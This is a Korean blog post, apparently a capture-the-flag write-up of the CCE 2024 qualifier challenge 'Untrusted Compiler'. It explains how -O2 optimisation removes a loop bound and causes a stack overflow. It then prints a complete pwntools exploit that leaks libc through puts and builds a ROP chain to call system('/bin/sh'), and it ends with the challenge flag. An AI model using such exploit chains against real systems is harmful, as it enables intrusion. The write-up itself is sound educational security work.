CIDY
[CCE 2024 Qual] Untrusted Compiler 본문
포너블중에 가장 쉬운 문제였다. 다른 거는 뭐가 쉬운지 모르겠어서 솔브 나오면 풀랬는데 거의 모든 문제가 한참동안 0솔이어서 다른 거 잡다가 관뒀다.. 나중에 보니 Shell이 그나마 할만해 보였던 것 같은데 해볼 걸 그랬나 ㅠㅠ
//gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
uint32_t random_list[10] = {0,};
uint64_t total_random = 0;
void banner()
{
printf(" __ _ _ \n");
printf(" _ _ _ __ ___ __ _ / _| ___ ___ ___ _ __ ___ _ __ (_) | ___ _ __ \n");
printf("| | | | '_ \\/ __|/ _` | |_ / _ \\ / __/ _ \\| '_ ` _ \\| '_ \\| | |/ _ \\ '__|\n");
printf("| |_| | | | \\__ \\ (_| | _| __/ | (_| (_) | | | | | | |_) | | | __/ | \n");
printf(" \\__,_|_| |_|___/\\__,_|_| \\___| \\___\\___/|_| |_| |_| .__/|_|_|\\___|_| \n");
printf(" |_| \n\n");
}
void init(){
srand(time(NULL));
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
banner();
printf("Start setting 10 randoms...\n");
for(int i = 0; i < 10; i++)
{
uint32_t random = rand();
random_list[i] = random;
total_random += random;
}
printf("done!\n\n");
printf("Guess the random value XD\n\n");
}
void flush()
{
int c;
while ((c = getchar()) != '\n' && c != EOF);
}
void guess()
{
uint16_t idx = 0;
uint32_t score_list[10] = {0,};
uint32_t input_list[10] = {0,};
uint64_t score_sum = 0;
while ((random_list[idx] < UINT32_MAX) && (idx < 10)) {
printf("input %d: ",idx);
scanf("%d", &input_list[idx]);
flush();
if(input_list[idx] == random_list[idx])
score_list[idx] = random_list[idx];
score_sum += score_list[idx];
idx++;
if(score_sum >= total_random){
return;
}
}
}
int main()
{
init();
guess();
}
특이하게 소스가 있고 바이너리가 없는데, 직접 컴파일하면 된다. 근데 이때 -O2 ? 누가봐도 최적화 잘못해서 문제 생길 것 같았는데, 역시 컴파일한 바이너리 실행시켜보니 반복문이 멈추질 않았다..
바이너리를 디컴파일 해 보면 역시 반복문 조건이 이상하다.
그럼 반복문이 계속되면 v2버퍼의 범위를 초과해서 값을 넣을 수 있으므로 그냥 랜덤값 맞추기(?) + ROP 하면 된다.
사실 랜덤값도 완벽히 맞출 필요는 없는 게 오히려 틀려야 하기 때문이다.
v0은 0부터 시작해서 매 반복문마다 v4씩 추가된다. v4는 값이 맞았을 때에는 random_list에 있는 것을, 틀렸을 때에는 v5버퍼에 있는 값을 가져온다.
원래 기능대로라면 맞았을 때에는 해당하는 random값을, 틀렸을 때에는 0을 (v5버퍼의 정상 범위는 초기화 되어 있으니) 더하는 것이 의도일 것이다.
하지만 초반 12개 범위(디버깅으로 스택을 보면 v5버퍼 + 0x30 이 v2버퍼 이기 때문)를 지나서 틀리게 되면 0이 아니라 내가 썼던 값에서 랜덤값을 가져오기 시작하므로 "전체 랜덤값의 합" 만 알고 있으면 v2버퍼부터 return 주소까지의 거리로 나누어서 의도한 시기에 return되도록 할 수 있다.
여기서 생각할 거리가 하나 있는데, v2버퍼에서 오버플로우를 일으켜서 return하는 곳 까지 덮으려면 v2를 넘어 return까지 덮어야 하는데 idx 0 ~ 9를 넘는 순간 v5버퍼 범위를 넘으므로 초기화 되지 않은 값들이 있어서 랜덤값을 못 맞췄을 때 당초 계산했던 것과 다른 값이 v0에 더해질 수 있다.
그럴땐 그냥 랜덤값을 맞추면 된다! 어차피 random_list 배열이 bss영역에 있어서 10개 이후로는 다 0이다.
즉, 그냥 0을 보내면 랜덤값을 맞춘 셈이 된다.
랜덤값을 맞추면 그 맞춘 랜덤값이 더해지는데, 여기서는 그 값이 0이므로 예상치 못한 값이 더해지는 것을 방지할 수 있다.
de70 부터 내 입력이 4바이트씩 정수로 들어가고, ded8이 return 주소이다.
즉 26개의 4바이트 입력을 넣고, ROP 체인을 넣어주면 된다.
libc leak이 필요한데, puts 등으로 아무 got나 릭하고, guess() 함수를 한번 더 돌도록 하면 된다. (다시 돌아가도 별 문제는 없었다.)
그리고 위에 메모리 캡처에서 볼 수 있듯이, $rsp == v5 버퍼인데, 내 입력이 닿지 않는 de68 에 초기화 되지 않는 값이 있다. 따라서 11번째와 12번째 입력으로 0을 보내면 랜덤 값을 맞춘 것이므로 (0 == random_list[10])해당 값이 아닌 0을 v0에 더해 예상치 못한 값이 더해지는 것을 방지할 수 있다.
최종 익스코드는 아래와 같다.
from pwn import *
import ctypes
libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt = 0x4010b0
rand_got= 0x404050
pop_rdi = 0x401444
pop_rsi_r15 = 0x401442
main = 0x401130
guess = 0x401370
p = process("./chall")
#p = remote("52.231.138.196", 1337)
sleep(0.5)
libc.srand(libc.time(0))
randsum = 0
for i in range(10):
randsum += libc.rand()
print(hex(randsum))
value = (randsum // 18)# 48 - 12
for i in range(10): # full stack
print(i)
p.sendlineafter(b": ", str(value).encode())
p.sendlineafter(b": ", str(0).encode())
p.sendlineafter(b": ", str(0).encode())
for i in range(14): # full stack
print(i)
p.sendlineafter(b": ", str(value).encode())
# return
p.sendlineafter(b": ", str(pop_rdi).encode())
p.sendlineafter(b": ", str(0).encode())
print("pop rdi")
p.sendlineafter(b": ", str(rand_got).encode())
p.sendlineafter(b": ", str(0).encode())
print("rand got")
p.sendlineafter(b": ", str(pop_rdi + 1).encode())
p.sendlineafter(b": ", str(0).encode())
print("ret")
p.sendlineafter(b": ", str(puts_plt).encode())
p.sendlineafter(b": ", str(0).encode())
print("puts")
p.sendlineafter(b": ", str(pop_rdi + 1).encode())
p.sendlineafter(b": ", str(0).encode())
print("ret")
p.sendlineafter(b": ", str(guess).encode())
p.sendlineafter(b": ", str(0).encode())
print("main")
p.sendlineafter(b": ", str(1).encode())
puts_offset = 0x46760
libc_base = u64(p.recvn(6) + b"\x00\x00") - puts_offset
print(hex(libc_base))
system = libc_base + 0x50d70
binsh = libc_base + 0x1d8678
###### ROUND 2 #####
for i in range(10): # full stack
print(i)
p.sendlineafter(b": ", str(value).encode())
p.sendlineafter(b": ", str(0).encode())
p.sendlineafter(b": ", str(0).encode())
for i in range(14): # full stack
print(i)
p.sendlineafter(b": ", str(value).encode())
# return
p.sendlineafter(b": ", str(pop_rdi).encode())
p.sendlineafter(b": ", str(0).encode())
print("pop rdi")
binsh_low = binsh & 0xffffffff
binsh_high = (binsh >> 32) & 0xffffffff
p.sendlineafter(b": ", str(binsh_low).encode())
p.sendlineafter(b": ", str(binsh_high).encode())
print("/bin/sh")
p.sendlineafter(b": ", str(pop_rdi + 1).encode())
p.sendlineafter(b": ", str(0).encode())
print("ret")
system_low = system & 0xffffffff
system_high = (system >> 32) & 0xffffffff
p.sendlineafter(b": ", str(system_low).encode())
p.sendlineafter(b": ", str(system_high).encode())
print("system")
p.sendlineafter(b": ", str(2).encode())
p.interactive()
취약점 특성상 약간 확률익스라서 리모트로 타이밍 맞추느라 고생했다.. 페이로드 날리는 것 자체도 엄청 오래 걸리고, 운좋게 한번 쉘 얻었는데 그 이후로 안 얻어졌음.. 아래는 그냥 로컬에서 딴 거 재현이다.
플래그:
cce2024{4e19058778a3bd8b4f0d62c74f078d5eda5ffc2d8179a7aef604aa683bbea2a490f81fc8327b0df5a6ba43bd1294e92528d9b059cdfbbb4b4eb471624e517062b73f}
'Hack > CTF' 카테고리의 다른 글
[WACON 2023] Write-Up (pwn) (6) | 2023.09.07 |
---|---|
[LINE CTF 2021] bank (0) | 2023.08.03 |
[QWB CTF 2018] core (0) | 2023.07.26 |
[zer0pts CTF 2023] Himitsu Note (0) | 2023.07.22 |
[DanteCTF 2023] Write up (2) | 2023.06.05 |